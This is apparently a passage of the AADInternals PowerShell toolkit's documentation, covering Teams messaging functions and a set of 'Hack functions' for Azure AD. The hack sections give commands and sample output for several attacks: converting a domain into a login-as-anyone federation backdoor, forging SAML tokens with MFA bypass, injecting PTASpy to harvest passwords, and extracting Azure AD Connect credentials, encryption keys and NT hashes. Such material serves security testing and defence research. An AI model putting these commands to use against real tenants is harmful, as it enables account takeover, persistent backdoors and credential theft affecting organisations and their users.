ResourceID : 32b66e08379d4c448e001e9659777c71
ETag : "{32B66E08-379D-4C44-8E00-1E9659777C71},3"
DateModified : 2019-14-11T12:08:55.0000000Z
RelationshipName : Document.docx
ParentResourceID : a2a54a01b586480ebbddf04cfaa36191
fsshttpstate.xschema.storage.live.com : fsshttpstate.xschema.storage.live.com
DocumentStreams : DocumentStreams
WriteStatus : Success
Teams functions
Teams functions are used to send and delete Teams messages.
Get-AADIntSkypeToken (T)
Since version 0.4.4
Gets SkypeToken used for authentication for certain Teams services.
Example:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Get Skype token and save to variable
$skypeToken = Get-AADIntSkypeTokenSet-AADIntTeamsAvailability (T)
Since version 0.4.4
Sets the availability status of the user to Available, Busy, DoNotDisturb, BeRightBack, or Away
Example:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Set Teams availability status to Busy
Set-AADIntTeamsAvailability -Status BusySet-AADIntTeamsStatusMessage (T)
Since version 0.4.4
Sets the Teams status message status of the user.
Example:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Set Teams status message
Set-AADIntTeamsStatusMessage -Message "Out of office til noon"Search-AADIntTeamsUser (T)
Since version 0.4.4
Searhes users with the given searchstring.
Example:
# Get access token for teams (to outlook) and save to cache
Get-AADIntAccessTokenForTeams -Resource https://outlook.com -SaveToCache
# Search for users
Search-AADIntTeamsUser -SearchString "user" | Format-Table UserPrincipalName,DisplayNameOutput:
UserPrincipalName DisplayName
----------------- -----------
first.user@company.com First User
second.user@company.com Second User
Send-AADIntTeamsMessage (T)
Since version 0.4.4
Sends a Teams message to given recipients.
Example 1:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Send Teams message
Send-AADIntTeamsMessage -Recipients "user@company.com" -Message "Hi user!"Output:
Sent MessageID
---- ---------
16/10/2020 14.40.23 132473328207053858
Example 2:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Get the list of users' message threads
Get-AADIntTeamsMessages | Select LinkLink
----
19:a84fdc0c-519c-4467-b2e6-323a48ce09af_4d40755a-020b-422b-b9cf-2f1f50602377@unq.gbl.spaces
19:a84fdc0c-519c-4467-b2e6-323a48ce09af_4d40755a-020b-422b-b9cf-2f1f50602377@unq.gbl.spaces
19:292f1d53677d45ff9d61d333cb0b4853@thread.tacv2
19:292f1d53677d45ff9d61d333cb0b4853@thread.tacv2
19:292f1d53677d45ff9d61d333cb0b4853@thread.tacv2
# Send Teams message
Send-AADIntTeamsMessage -Thread "19:292f1d53677d45ff9d61d333cb0b4853@thread.tacv2" -Message "Hi there!"Output:
Sent MessageID
---- ---------
16/10/2020 14.40.23 132473328207053858
Get-AADIntTeamsMessages (T)
Since version 0.4.4
Gets user’s latest Teams messages.
Example:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Get Teams messages
Get-AADIntTeamsMessages | Format-Table id,content,deletiontime,*type*,DisplayNameOutput:
Id Content DeletionTime MessageType Type DisplayName
-- ------- ------------ ----------- ---- -----------
1602842299338 1602846853687 RichText/Html MessageUpdate Bad User
1602844861358 1602858789696 RichText/Html MessageUpdate Bad User
1602846167606 1602858792943 Text MessageUpdate Bad User
1602846853687 1602858795517 Text MessageUpdate Bad User
1602833251951 1602833251951 Text MessageUpdate Bad User
1602833198442 1602833198442 Text MessageUpdate Bad User
1602859223294 Hola User! Text NewMessage Bad User
1602859423019 Hi User! Text NewMessage Bad User
1602859423019 Hi User! Text MessageUpdate Bad User
1602859473083 <div><div>Hi User!</div></div> RichText/Html NewMessage Bad User
1602859484420 Hey User! Text NewMessage Bad User
1602859528028 Hy User! Text NewMessage Bad User
1602859484420 Hey User! Text MessageUpdate Bad User
1602859590916 Hi User! Text NewMessage Bad User
Set-AADIntTeamsMessageEmotion (T)
Since version 0.4.5
Sets emotion for the given Teams message (like, heart, laugh, surprised, sad, or angry).
Emotions are not automatically cleared, so multiple emotions per message can be set. To clear the emotion, use the -Clear switch.
Example 1:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Get Teams messages
Get-AADIntTeamsMessages | Format-Table id,content,deletiontime,*type*,DisplayNameOutput:
Id Content DeletionTime MessageType Type DisplayName
-- ------- ------------ ----------- ---- -----------
1602842299338 1602846853687 RichText/Html MessageUpdate Bad User
1602844861358 1602858789696 RichText/Html MessageUpdate Bad User
1602846167606 1602858792943 Text MessageUpdate Bad User
1602846853687 1602858795517 Text MessageUpdate Bad User
1602833251951 1602833251951 Text MessageUpdate Bad User
1602833198442 1602833198442 Text MessageUpdate Bad User
1602859223294 Hola User! Text NewMessage Bad User
1602859423019 Hi User! Text NewMessage Bad User
1602859423019 Hi User! Text MessageUpdate Bad User
1602859473083 <div><div>Hi User!</div></div> RichText/Html NewMessage Bad User
1602859484420 Hey User! Text NewMessage Bad User
1602859528028 Hy User! Text NewMessage Bad User
1602859484420 Hey User! Text MessageUpdate Bad User
1602859590916 Hi User! Text NewMessage Bad User
# Like the "Hola User!" message
Set-AADIntTeamsMessageEmotion -MessageID 1602859223294 -Emotion likeExample 2:
# Unlike the "Hola User!" message by clearing the like emoticon:
Set-AADIntTeamsMessageEmotion -MessageID 1602859223294 -Emotion like -ClearRemove-AADIntTeamsMessages (T)
Since version 0.4.4
Deletes given Teams messages.
Example:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Get Teams messages
Get-AADIntTeamsMessages | Format-Table id,content,deletiontime,*type*,DisplayNameId Content DeletionTime MessageType Type DisplayName
-- ------- ------------ ----------- ---- -----------
1602842299338 1602846853687 RichText/Html MessageUpdate Bad User
1602844861358 1602858789696 RichText/Html MessageUpdate Bad User
1602846167606 1602858792943 Text MessageUpdate Bad User
1602846853687 1602858795517 Text MessageUpdate Bad User
1602833251951 1602833251951 Text MessageUpdate Bad User
1602833198442 1602833198442 Text MessageUpdate Bad User
1602859223294 Hola User! Text NewMessage Bad User
1602859423019 Hi User! Text NewMessage Bad User
1602859423019 Hi User! Text MessageUpdate Bad User
1602859473083 <div><div>Hi User!</div></div> RichText/Html NewMessage Bad User
1602859484420 Hey User! Text NewMessage Bad User
1602859528028 Hy User! Text NewMessage Bad User
1602859484420 Hey User! Text MessageUpdate Bad User
1602859590916 Hi User! Text NewMessage Bad User
# Delete Teams messages
Remove-AADIntTeamsMessages -MessageIDs 1602859590916,1602859484420Find-AADIntTeamsExternalUser (T)
Since version 0.6.7
Finds the given external Teams user.
Example:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Find the external user from Teams
Find-AADIntTeamsExternalUser -UserPrincipalName "JohnD@company.com"tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033
isShortProfile : False
accountEnabled : True
featureSettings : @{coExistenceMode=TeamsOnly}
userPrincipalName : johnd@company.com
givenName : JohnD@company.com
surname :
email : JohnD@company.com
displayName : John Doe
type : Federated
mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841
objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f
Get-AADIntTeamsExternalUserInformation (T)
Since version 0.9.4
Returns the external user information using Teams API.
Example1:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Get external user information from Teams using object id
Get-AADIntTeamsExternalUserInformation -UserPrincipalname "fe401a12-879c-4e5b-8b51-03e1985fa62f"tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033
isShortProfile : False
accountEnabled : True
featureSettings : @{coExistenceMode=TeamsOnly}
userPrincipalName : johnd@company.com
givenName : JohnD@company.com
surname :
email : JohnD@company.com
displayName : John Doe
type : Federated
mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841
objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f
Example2:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Get external user information from Teams using User Principal Name
Get-AADIntTeamsExternalUserInformation -ObjectId "johnd@company.com"tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033
isShortProfile : False
accountEnabled : True
featureSettings : @{coExistenceMode=TeamsOnly}
userPrincipalName : johnd@company.com
givenName : JohnD@company.com
surname :
email : JohnD@company.com
displayName : John Doe
type : Federated
mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841
objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f
Example3:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Get external user information from Teams using MRI
Get-AADIntTeamsExternalUserInformation -MRI "johnd@company.com"tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033
isShortProfile : False
accountEnabled : True
featureSettings : @{coExistenceMode=TeamsOnly}
userPrincipalName : johnd@company.com
givenName : JohnD@company.com
surname :
email : JohnD@company.com
displayName : John Doe
type : Federated
mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841
objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f
Get-AADIntTeamsAvailability (T)
Since version 0.6.7
Shows the availability of the given user.
Example:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Find the external user from Teams
Find-AADIntTeamsExternalUser -UserPrincipalName "JohnD@company.com"tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033
isShortProfile : False
accountEnabled : True
featureSettings : @{coExistenceMode=TeamsOnly}
userPrincipalName : johnd@company.com
givenName : JohnD@company.com
surname :
email : JohnD@company.com
displayName : John Doe
type : Federated
mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841
objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f
# Get user's availability
Get-AADIntTeamsAvailability -ObjectId "fe401a12-879c-4e5b-8b51-03e1985fa62f"sourceNetwork : Federated
capabilities : {Audio, Video}
availability : Away
activity : Away
deviceType : Desktop
Get-AADIntTranslation (T)
Since version 0.6.7
Translate the given text to the given language using Teams internal API.
Example:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Translate the Finnish text to English
Get-AADIntTranslation -Text "Terve Maailma!" -Language "en-US"Hello World!
Get-AADIntMyTeams (T)
Since version 0.9.1
Returns all teams the user is member of.
Example1:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Get teams
Get-AADIntMyTeamsOutput1:
id displayName site
-- ----------- ----
afa3b2d4-79d8-4a00-bfb2-070b58af26fc Sales https://company.sharepoint.com/sites/Sales
eb780ae6-9f80-4ad3-9219-0deee278fb2a Marketing https://company.sharepoint.com/sites/Marketing
0ab1c9ec-629a-4412-8e65-348bd1ed4fe8 All Hands https://company.sharepoint.com/sites/AllHAnds
5521cd57-f814-4564-85ae-0e8c644a2a96 London https://company.sharepoint.com/sites/London
0bf31a81-4833-4421-a1ff-5d4efb669d4b Test https://company.sharepoint.com/sites/Test
Example1:
# Get access token for teams and save to cache
Get-AADIntAccessTokenForTeams -SaveToCache
# Get teams where user is owner
Get-AADIntMyTeams -OwnerOutput1:
id displayName site
-- ----------- ----
afa3b2d4-79d8-4a00-bfb2-070b58af26fc Sales https://company.sharepoint.com/sites/Sales
0bf31a81-4833-4421-a1ff-5d4efb669d4b Test https://company.sharepoint.com/sites/Test
Hack functions: Identity Federation
Set-AADIntDomainAuthentication (A)
Sets authentication method of the domain. Same functionality than Set-MsolDomainAuthentication cmdlet.
Example:
# Set authentication method to managed
Set-AADIntDomainAuthentication -DomainName company.com -Authentication ManagedConvertTo-AADIntBackdoor (A)
This function converts the given domain to “backdoor”, which can be used to login to the tenant as any user. See Open-AADIntOffice365Portal to use the backdoor.
This exploits a vulnerability I discovered in late 2017. Technically, domain authentication type is set to Federated and configured to trust to the specific certificate (any.sts) and issuer http://any.sts/<8 byte hex-value>.
If the domain is already federated, the any.sts certificate will be added as NextSigningCertificate
You can get a free domain from www.myo365.site.
Example:
# Convert the domain to backdoor
ConvertTo-AADIntBackdoor -DomainName company.myo365.siteOutput:
IssuerUri Domain
--------- ------
http://any.sts/B231A11F company.myo365.site
The backdoor can also be accessed at https://aadinternalsbackdoor.azurewebsites.net
Find-AADIntBackdoor (A)
Since version 0.9.6
Lists all federated domains and their current and next signing certificate thumbprints.
If AADInternals backdoor is found, a warning is given.
Example 1:
# Get access token
Get-AADIntAccessTokenForAADGraph
# Find AADInternals backdoors
Find-AADIntBackdoorOutput 1:
WARNING: Domain company.myo365.site SigningCertificate is AADInternals backdoor!
Domain : company.myo365.site
Subject : CN=hack.o365domain.org, O=Gerenios, S=Pirkanmaa, C=fi
NextSubject :
Thumbprint : 4B56E1F1B80024359E34010D9AAB3CED9C67FF5E
NextThumbprint :
Issuer : http://any.sts/B231A11F
Example 2:
# Get access token
Get-AADIntAccessTokenForAADGraph
# Find AADInternals backdoors
Find-AADIntBackdoorOutput 2:
WARNING: Domain company.com NextSigningCertificate is AADInternals backdoor!
Domain : company.com
Subject : CN=ADFS Signing - sts.company.com
NextSubject : CN=hack.o365domain.org, O=Gerenios, S=Pirkanmaa, C=fi
Thumbprint : 2566A9000AA424DE73925D42C7D5115479C18CED
NextThumbprint : 4B56E1F1B80024359E34010D9AAB3CED9C67FF5E
Issuer : http://sts.company.com/adfs/services/trust
Open-AADIntOffice365Portal (*)
This function creates a fake (but valid) WS-Fed/SAML authentication token in .html file and opens it in browser’s private or incognito mode. You can choose to use IE, Edge, or Chrome. If Browser parameter is not provided, opens in Edge. Use any ImmutableId from any user from your tenant and the issuer “http://any.sts/B231A11F" you created with ConvertTo-AADIntBackdoor.
Edge and Chrome should log in automatically unless security settings doesn’t allow that. If that happens, just click Allow blocked content or the button Login to Office 365 and you’re done! From there, you can also browse to https://portal.azure.com as the same user you just logged in.
Example:
# Login as anyone
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA $trueOutput: (security alert)
Hack functions: Pass-through authentication (PTA)
Set-AADIntPassThroughAuthentication (P)
This function enables or disabled pass through authentication (PTA).
Example:
# Prompt for credentials and store the token
$pt=Get-AADIntAccessTokenForPTA -Credentials (Get-Credential)
# Disable PTA
Set-AADIntPassThroughAuthentication -AccessToken $pt -Enable $falseOutput:
IsSuccesful Enable Exists
----------- ------ ------
true false true
Install-AADIntPTASpy (*) 😈
Since version 0.2.0
Installs PTASpy to the pass-thru authentication agent on the current computer. Must be run as Local Admin on the computer having Azure AD Authentication Agent installed and running (AzureADConnectAuthenticationAgentService.exe).
A hidden folder is created (C:\PTASPy) and PTASpy.dll is copied there. PTASpy.dll is then injected to the running AzureADConnectAuthenticationAgentService. When installed, PTASpy collects all used credentials and stores them to C:\PTASpy\PTASpy.csv with Base64 encoded passwords. PTASpy accepts all passwords so it can be used as a backdoor.
Use Get-AADIntPTASpyLog to read the log.
⚠ Note: Removed from version 0.9.4. To use, please install AADInternals with -RequiredVersion switch:
Install-Module -Name "AADInternals" -RequiredVersion "0.9.3"Example:
# Install PTASpy
Install-AADIntPTASpyOutput:
Are you sure you wan't to install PTASpy to this computer? Type YES to continue or CTRL+C to abort: yes
Installation successfully completed!
All passwords are now accepted and credentials collected to C:\PTASpy\PTASpy.csv
Get-AADIntPTASpyLog (*) 😈
Since version 0.2.0
Lists the credentials from C:\PTASpy\PTASPy.csv collected by PTASpy
Example 1:
# Show the PTASpy log
Get-AADIntPTASpyLogOutput:
UserName Password Time
-------- -------- ----
user@company.com TQB5AFAAYQBzAHMAdwBvAHIAZAA= 5/22/2019 9:51:43 AM
user@company.com bQBZAHAAQQBTAFMAVwBPAFIARAA= 5/22/2019 9:52:07 AM
Example 2:
# Show the PTASpy log with decoded passwords
Get-AADIntPTASpyLog -DecodePasswordsOutput:
UserName Password Time
-------- -------- ----
user@company.com MyPassword 5/22/2019 9:51:43 AM
user@company.com mYpASSWORD 5/22/2019 9:52:07 AM
Remove-AADIntPTASpy (*) 😈
Since version 0.2.0
Restarts Microsoft Azure AD Connect Authentication Agent (AzureADConnectAuthenticationAgent) service and removes PTASpy.
Example:
# Remove PTASpy
Remove-AADIntPTASpyOutput:
WARNING: Waiting for service 'Microsoft Azure AD Connect Authentication Agent (AzureADConnectAuthenticationAgent)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Connect Authentication Agent (AzureADConnectAuthenticationAgent)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Connect Authentication Agent (AzureADConnectAuthenticationAgent)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Connect Authentication Agent (AzureADConnectAuthenticationAgent)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Connect Authentication Agent (AzureADConnectAuthenticationAgent)' to stop...
Service restarted and C:\PTASpy\PTASpy.dll removed.
Register-AADIntPTAAgent (P)
Since version 0.2.8
Registers a PTA agent to Azure AD with given machine name and creates a client certificate or renews existing certificate.
The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx
After the registration, the certificate and name can be used with Microsoft AzureAD Connect PTA agent (Set-AADIntPTACertificate)
Example 1:
# Get access token and save to cache
Get-AADIntAccessTokenForPTA -SaveToCache
# Register a PTA agent
Register-AADIntPTAAgent -MachineName "server1.company.com"Output:
PTA Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
Example 2:
# Update PTA agent certificate
PS C:\>Register-AADIntPTAAgent -MachineName "server1.company.com" -UpdateTrust -PfxFileName .\server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfxOutput:
PTA Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) certificate renewed for server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_449D42C1BA32B23A621EBE62329AE460FE68924B.pfx
Register-AADIntSyncAgent (P)
Since version 0.2.9
Registers a sync agent to Azure AD with given machine name and creates a client certificate or renews existing certificate.
The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx
After the registration, the certificate and name can be used with Azure AD Connect cloud provisioning agent.
Example 1:
# Get access token and save to cache
Get-AADIntAccessTokenForPTA -SaveToCache
# Register a Sync agent
Register-AADIntPTAAgent -MachineName "server1.company.com"Output:
Sync Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
Example 2:
# Update Sync agent certificate
PS C:\>Register-AADIntPTAAgent -MachineName "server1.company.com" -UpdateTrust -PfxFileName .\server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfxOutput:
Sync Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) certificate renewed for server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_449D42C1BA32B23A621EBE62329AE460FE68924B.pfx
Set-AADIntPTACertificate (*) 😈
Since version 0.2.8
Sets the certificate used by Azure AD Authentication Agent. Can be used to change the name and target tenant of the PTA Agent.
It changes InstanceID and TenantID registry values at “HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent”,
and the certificate thumbprint at “$env:ProgramData\Microsoft\Azure AD Connect Authentication Agent\Config\TrustSettings.xml”.
It also imports the certificate to “Cert:\LocalMachine\My” and gives the “Network Service” read access to it’s private key.
Together with PTASpy allows using a standalone server as a backdoor.
Example:
# Get access token and save to cache
Get-AADIntAccessTokenForPTA -SaveToCache
# Register a PTA agent
Register-AADIntPTAAgent -MachineName "server1.company.com"Output:
PTA Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
# Change the PTA certificate
Set-AADIntPTACertificate -PfxFileName server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfxOutput:
Certification information set, remember to restart the service.
Get-AADIntProxyAgents (P)
Since version 0.2.9
This function shows the list of MS App Proxy authentication (PTA) and provisioning (Azure AD Connect cloud provisioning) agents.
Example:
# Get the access token
$pt=Get-AADIntAccessTokenForPTA
# List the proxy agents
Get-AADIntProxyAgents -AccessToken $pt | ftOutput:
id machineName externalIp status supportedPublishingTypes
-- ----------- ---------- ------ ------------------------
51f3afd9-685b-413a-aafa-bab0d556ea4b this.is.a.fake 67.35.155.73 active {authentication}
51a061a0-968d-48b8-951e-5ae9d9a0441f server1.company.com 93.188.31.116 inactive {authentication}
49c9ad46-c067-42f6-a678-dfd938c27789 server2.company.com 102.20.104.213 inactive {provisioning}
Get-AADIntProxyAgentGroups (P)
Since version 0.2.9
This function shows the list of MS App Proxy authentication groups of (PTA) and provisioning (Azure AD Connect cloud provisioning) agents.
Example:
# Get the access token
$pt=Get-AADIntAccessTokenForPTA
# List the proxy agents
Get-AADIntProxyAgentGroups -AccessToken $pt | ftOutput:
TenantId : ea664074-37dd-4797-a676-b0cf6fdafcd4
ConfigurationDisplayName : company.com
ConfigurationResourceName : company.com
ConfigurationPublishingType : provisioning
id : 4b6ffe82-bfe2-4357-814c-09da95399da7
displayName : Group-company.com-42660f4a-9e66-4a08-ac17-2a2e0d8b993e
publishingType : provisioning
isDefault : False
Export-AADIntProxyAgentCertificates 😈
Since version 0.6.9
Export certificates of all MS App Proxy agents from the local computer.
The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx
Note: This function elevates the current PowerShell session to SYSTEM. To export bootstraps, open a new PowerShell session and use Export‑AADIntProxyAgentBootstraps.
Example:
# Export certificates
Export-AADIntProxyAgentCertificatesOutput:
WARNING: Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore PTA01\Administrator rights.
Certificate saved to: PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.pfx
Export-AADIntProxyAgentBootstraps
Since version 0.7.8
Export bootstraps of the given certificates. The filename of the bootstrap is same than the given certificate with .xml extension.
Example:
# Export bootstrap
Export-AADIntProxyAgentBootstraps -Certificates "PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.pfx"Output:
Bootstrap saved to: PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.xml
Hack functions: Directory Synchronization
Set-AADIntPasswordHashSyncEnabled (A)
Since version 0.1.6
This function enables or disabled password hash synchronization (PHS).
This can be used to turn on PHS so that passwords can be set using Set-AADIntUserPassword.
Example:
# Enable PHS
Set-AADIntPasswordHashSyncEnabled -Enable $trueNew-AADIntGuestInvitation (Z)
This function invites a guest user to tenant. Does not require admin rights, as long as access to Azure Portal is allowed. Basically, this function allows every member of the tenant to invite guest users to the tenant.
Example:
# Get the auth token. Supports also external users (outlook.com, etc.)
$zt=Get-AADIntAccessTokenForAADIAMAPI -Credentials (Get-Credential)
# Get login information for a domain
New-AADIntGuestInvitation -AuthToken $zt -EmailAddress "someone@outlook.com" -Message "Welcome to our tenant!"Output:
accountEnabled : True
usageLocation :
mailNickname : someone_outlook.com#EXT#
passwordProfile :
rolesEntity :
selectedGroupIds :
streetAddress :
city :
state :
country :
telephoneNumber :
mobile :
physicalDeliveryOfficeName :
postalCode :
authenticationPhoneNumber :
authenticationAlternativePhoneNumber :
authenticationEmail :
strongAuthenticationDetail : @{verificationDetail=}
defaultImageUrl :
ageGroup :
consentProvidedForMinor :
legalAgeGroupClassification :
objectId : e250c8f5-3ff3-4eea-9d68-cff019fa850e
objectType : User
displayName : someone
userPrincipalName : someone_outlook.com#EXT#@company.onmicrosoft.com
thumbnailPhoto@odata.mediaContentType :
givenName :
surname :
mail : someone@outlook.com
dirSyncEnabled :
alternativeSecurityIds : {}
signInNamesInfo : {}
signInNames : {someone_outlook.com#EXT#@company.onmicrosoft.com}
ownedDevices :
jobTitle :
department :
displayUserPrincipalName :
hasThumbnail : False
imageUrl :
imageDataToUpload :
source :
sources :
sourceText :
userFlags :
deletionTimestamp :
permanentDeletionTime :
alternateEmailAddress :
manager :
userType : Guest
isThumbnailUpdated :
isAuthenticationContactInfoUpdated :
searchableDeviceKey : {}
displayEmail :
creationType : Invitation
userState : PendingAcceptance
otherMails : {someone@outlook.com}
Get-AADIntSyncCredentials (*) 😈
Since version 0.1.8
This function extracts Azure AD Connect credentials to AD and Azure AD from WID database.
By default (since v0.8.1), exports credentials from the local computer by starting a background process. This doesn’t elevate the current PS session.
Example 1:
# Get Azure AD Connect credentials
Get-AADIntSyncCredentialsOutput 1:
Name Value
---- -----
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
AADUserPassword $.1%(lxZ&/kNZz[r
ADDomain1 company.com
ADUser1 MSOL_4bc4a34e95fa
ADUserPassword1 Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
ADDomain2 business.net
ADUser2 MSOL_4bc4a34e95fa
ADUserPassword2 cE/Pj+4/MR6hW)2L_4P=H^hiq)pZhMb...
Example 2:
# Get Azure AD Connect credentials as PSCredential objects
$synccredentials = Get-AADIntSyncCredentials -AsCredentials
# Get access token
Get-AADIntAccessTokenForAADGraph -Credentials $synccredentials[0] -SaveToCacheOutput 2:
Tenant User Resource Client
------ ---- -------- ------
a5427106-ed71-4185-9481-221e2ebdfc6c Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com https://graph.windows.net 1b730954-1685-4b74...
Update-AADIntSyncCredentials (*) 😈
Since version 0.1.8
This function resets Azure AD Connect credentials to Azure AD and stores it to Azure AD Connect configuration database.
Note: This function “elevates” the session to ADSync user. You MUST restart PowerShell to restore original rights.
Example:
# Get the current Azure AD Connect credentials
Get-AADIntSyncCredentials
# Save credentials to a variable
$Cred = Get-Credential -Message "O365" -UserName "Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com"
# Get Access Token
$Token=Get-AADIntAccessTokenForAADGraph -Credentials $Cred
# Update Azure AD Connect credentials for Azure AD
Update-AADIntSyncCredentials -AccessToken $TokenOutput:
Password successfully updated to Azure AD and configuration database!
Name Value
---- -----
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
AADUserPassword Y%C(]u%Rq;en-P;^
ADDomain1 company.com
ADUser1 MSOL_4bc4a34e95fa
ADUserPassword1 Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
Remember to restart the sync service: Restart-Service ADSync
Get-AADIntSyncEncryptionKeyInfo (*) 😈
Since version 0.3.0
This function extracts Entropy and InstanceID from the local ADSync configuration database.
Returned information can be used with Get-AADIntSyncEncryptionKey.
Example:
# Get the ADSync encryption key info
Get-AADIntSyncEncryptionKeyInfoOutput:
Name Value
---- -----
InstanceId 299b1d83-9dc6-479a-92f1-2357fc5abfed
Entropy a1c80460-6fe9-4c6f-bf31-d7a34c878dca
Get-AADIntSyncEncryptionKey (*) 😈
Since version 0.3.0
Gets ADSync encryption key using the given entropy and instance id. These can be read from the database or using Get-AADIntSyncEncryptionKeyInfo.
Example:
# Get the key information
$key_info = Get-AADIntSyncEncryptionKeyInfo
# Get the ADSync encryption key
Get-AADIntSyncEncryptionKey -Entropy $key_info.Entropy -InstanceId $key_info.InstanceIdOutput:
Id Guid CryptAlg Key
-- ---- -------- ---
100000 299b1d83-9dc6-479a-92f1-2357fc5abfed 26128 {4, 220, 54, 13...}
Get-AADIntUserNTHash
Since version 0.9.0
Exports and decrypts the NTHashes from Azure AD using the given application and certificate.
The application must be “Azure AD Domain Services Sync” created during the Azure AD Domain services (AADDS) deployment. Either client certificate or password needs to be provided.
The encryption certificate needs to be exported from AADDS domain controller.
Example:
# Export NTHashes
Get-AADIntUserNTHash -ClientPassword "vlb8Q~W8iVXwfdt2FjIH4FE0hRc-p9G_kyN_KbtZ" -ClientId "23857e6f-7be4-4bb8-84b7-22e92c359c8d" -PfxFileName ".\encryption_cert.pfx"Output:
NTHash UserPrincipalName
------ -----------------
00000000000000000000000000000000 user1@company.com
11111111111111111111111111111111 user2@company.com
Install-AADIntForceNTHash
Since version 0.9.3
Installs ForceNTHash to the current computer.
Example:
# Install ForceNTHash
Install-AADIntForceNTHashOutput:
Are you sure you wan't to install ForceNTHash to this computer? Type YES to continue or CTRL+C to abort: yes
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
WARNING: Sleeping for five seconds..
